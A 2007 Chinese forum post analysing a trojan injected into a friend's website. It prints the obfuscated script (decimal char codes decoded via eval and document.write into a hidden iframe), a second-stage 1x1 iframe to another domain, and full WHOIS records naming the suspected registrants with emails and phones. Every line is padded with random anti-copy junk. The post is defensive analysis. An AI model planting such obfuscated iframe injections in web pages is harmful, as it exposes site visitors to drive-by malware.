社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6210阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, '!>LF1W=  
h W\q  
http://www.areway.cn/?p=175 uO8z.  
5TqB&GP0  
e~w-v"'  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: G[z!;Zuf  
          _yw]Cacr\  
<script>t=’60,105,102,114,97,109,101, &i179Qg!  
32,115,114,99,61,104,116,116,112,58,47,47, x?v/|  
102,114,101,101,46,117,45,117,117,117,46,99, pT\>kqmj  
110,47,101,114,114,111,114,46,104,116,109, Y -%g5  
32,119,105,100,116,104,61,49,48,48,32,104, 't'~p#$,F  
101,105,103,104,116,61,48,62,60,47,105,102, V+myGsr`  
114,97,109,101,62′; T{-<G13  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> mcvd/  
                                                                                                  <\l@`x96"D  
<script>t=’60,105,102,114,97,109,101,32,115, ^EY^.?Mg  
114,99,61,104,116,116,112,58,47,47,102,114, GY@(%^  
101,101,46,117,45,117,117,117,46,99,110,47, e=S51q_0  
101,114,114,111,114,46,104,116,109,32,119,  0IO#h{t  
105,100,116,104,61,49,48,48,32,104,101,105, |zhVl  
103,104,116,61,48,62,60,47,105,102,114,97, &Jw]3U5J  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); V`Ve__5;  
document.write(t);</script> Y|$3%t  
                                                                                                  d;1%Ei3K  
<html xmlns=” r/E'#5 Q  
http://www.w3.org/1999/xhtml qXC>D Gy  
“> SKO*x^"eU  
<head> OtK=UtVI  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> 80=6B  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> >Wvb!8N  
<title>首页 - 爱生活家庭网 5H8]N#Y&  
                                                                                                                                                    P(B:tg  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 &+]x  
转换字符串后的大概内容是(谁点击后果自付): $}kT )+K  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… GddP)l{uCF  
                                                                                                                                  8~Avg6,  
查询玉米u-uuu.cn的详细信息: -:Up$6PR  
Domain Name: u-uuu.cn RE~:+.eB  
ROID: 20070901s10001s64972306-cn 6yZ!K  
Domain Status: ok 2rK%fV53b  
Registrant Organization: 王雷 rZ}y'A   
Registrant Name: 王雷 -UD^O*U  
Administrative Email: czlovexs@126.com (<y~]igy  
Sponsoring Registrar: 北京万网志成科技有限公司 m^hi}Am1  
Name Server:ns.yovole.com ~:8}Bz2!5  
Name Server:ns1.yovole.com L O)&|9xw  
Registration Date: 2007-09-01 17:54 3@xn<eu  
Expiration Date: 2008-09-01 17:54 0V:7pSC{P  
最后PING了一下地址 都没有什么…. o1I8l7  
                                                                                                QAs$fi}f]s  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 7Uy49cs,  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> -n.ltgW@   
<script language=”javascript” src=” !I3_KuJ5  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 'L$%)`;e  
> liu%K9-r  
这个玉米应该有可能是木马作者的: E"8cB]`|8  
foafau.info的详细信息: }@VdtH  
Access to INFO WHOIS information is provided to assist persons in ean_/E  
determining the contents of a domain name registration record in the R`%C]uG  
Afilias registry database. The data in this record is provided by 2|Of$oMc  
Afilias Limited for informational purposes only, and Afilias does not dw6U}  
guarantee its accuracy.  This service is intended only for query-based hRKAs ]^j  
access. You agree that you will use this data only for lawful purposes zT _  
and that, under no circumstances will you use this data to: (a) allow, PDwi])6mf  
enable, or otherwise support the transmission by e-mail, telephone, or ShFC@)<lJ  
facsimile of mass unsolicited, commercial advertising or solicitations 9RzTC  
to entities other than the data recipient’s own existing customers; or 'x'.[=;  
(b) enable high volume, automated, electronic processes that send o{C7V *  
queries or data to the systems of Registry Operator, a Registrar, or 8HL$y-F  
Afilias except as reasonably necessary to register domain names or <K6:"  
modify existing registrations. All rights reserved. Afilias reserves "DWw]\xO](  
the right to modify these terms at any time. By submitting this query, }V@ * :3w8  
you agree to abide by this policy. xV]eEOiLM  
Domain ID:D22418703-LRMS cu)ssT  
Domain Name:FOAFAU.INFO ey icMy`7{  
Created On:20-Nov-2007 16:05:42 UTC d46PAA{'  
Last Updated On:20-Nov-2007 16:05:44 UTC "YW&,X5R  
Expiration Date:20-Nov-2008 16:05:42 UTC j%7N\Vb  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) ?\_\pa/+  
Status:CLIENT DELETE PROHIBITED fgzkc"ReK  
Status:CLIENT RENEW PROHIBITED OC(S"&D  
Status:CLIENT TRANSFER PROHIBITED $>Y2N5  
Status:CLIENT UPDATE PROHIBITED @jXdQY%{  
Status:TRANSFER PROHIBITED /&PRw<}>_o  
Registrant ID:GODA-040110615 xbZx&`(  
Registrant Name:liu hong c,wYXnJ_t  
Registrant Organization: +`y{r^xD  
Registrant Street1:beijing gd#j{yI/Xf  
Registrant Street2: 4V2}'/|[  
Registrant Street3: D's Tv}P  
Registrant City:beijing Z>9uVBE02  
Registrant State/Province: T4 :UJj}  
Registrant Postal Code:100000 >v sy P  
Registrant Country:CN n\X'2  
Registrant Phone:+86.860108888777 p,(gv])ie  
Registrant Phone Ext.: [:vH_(|  
Registrant FAX: :TPT]q d@  
Registrant FAX Ext.: ]2Vu+AP  
Registrant Email:bbbshiji@163.com #pe#(xoI  
Admin ID:GODA-240110615 ;7;=)/-  
Admin Name:liu hong c8@zpkMj/  
Admin Organization: O_gr{L}  
Admin Street1:beijing <%_7%  
Admin Street2: /b|V=j}W  
Admin Street3: N9 SC\  
Admin City:beijing ||xiKg  
Admin State/Province: <l#|I'hP  
Admin Postal Code:100000 -VC k k  
Admin Country:CN w<qn@f  
Admin Phone:+86.860108888777 :!'!V>#g  
Admin Phone Ext.: )U2cS\k'7n  
Admin FAX: <6!;mb ;cX  
Admin FAX Ext.: -2D/RE7|  
Admin Email:bbbshiji@163.com zp4aiMn1F  
Billing ID:GODA-340110615 >+/2g  
Billing Name:liu hong 5{PT  
Billing Organization: 4 ~s{zob  
Billing Street1:beijing 3dl#:Si  
Billing Street2: >'/KOK"  
Billing Street3: UPE9e   
Billing City:beijing |H .  
Billing State/Province: , z-#B]  
Billing Postal Code:100000 Zy J-}[z  
Billing Country:CN >.xg o6  
Billing Phone:+86.860108888777 /QgU!:e  
Billing Phone Ext.: I:l/U-b7h  
Billing FAX: ],W/IDv  
Billing FAX Ext.: S;I>W&U  
Billing Email:bbbshiji@163.com ><HHO (74X  
Tech ID:GODA-140110615 ;ndwVZ~,  
Tech Name:liu hong "p"M9P'  
Tech Organization: U!TSAg21P  
Tech Street1:beijing gP 13n!7  
Tech Street2: ,UveH` n-  
Tech Street3: ozCH1V{p  
Tech City:beijing K(: _52rt  
Tech State/Province: <N~&Leh  
Tech Postal Code:100000 Fr|Ts>Kx  
Tech Country:CN (K74Qg  
Tech Phone:+86.860108888777 )q8!:Z  
Tech Phone Ext.: v PJ=~*P=  
Tech FAX: ,zP.ch0K  
Tech FAX Ext.: ir?Y>  
Tech Email:bbbshiji@163.com 8q"C=t7  
Name Server:NS27.DOMAINCONTROL.COM &F 3'tf?  
Name Server:NS28.DOMAINCONTROL.COM gm1 7VrC  
Name Server: -Uo"!o>x|  
Name Server: A`I;m0<  
Name Server: FSNzBN  
Name Server: o-ee3j.  
Name Server: .S6u{B  
Name Server: U#mrbW  
Name Server: .B?J@,  
Name Server: +gh*n,:|  
Name Server: oScKL#Hu  
Name Server: 0;X0<IV  
Name Server: d^:(-2l-  
                                                                                                          (oG-h"^/  
接着下载每个文件里面的代码: gwQk M4  
一步一步看.. qy^sdqHl@  
W*!u_]K>  
 F<Y>  
'7ps_pz  
Cu,#w3JR  
7.!`c-8 u  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八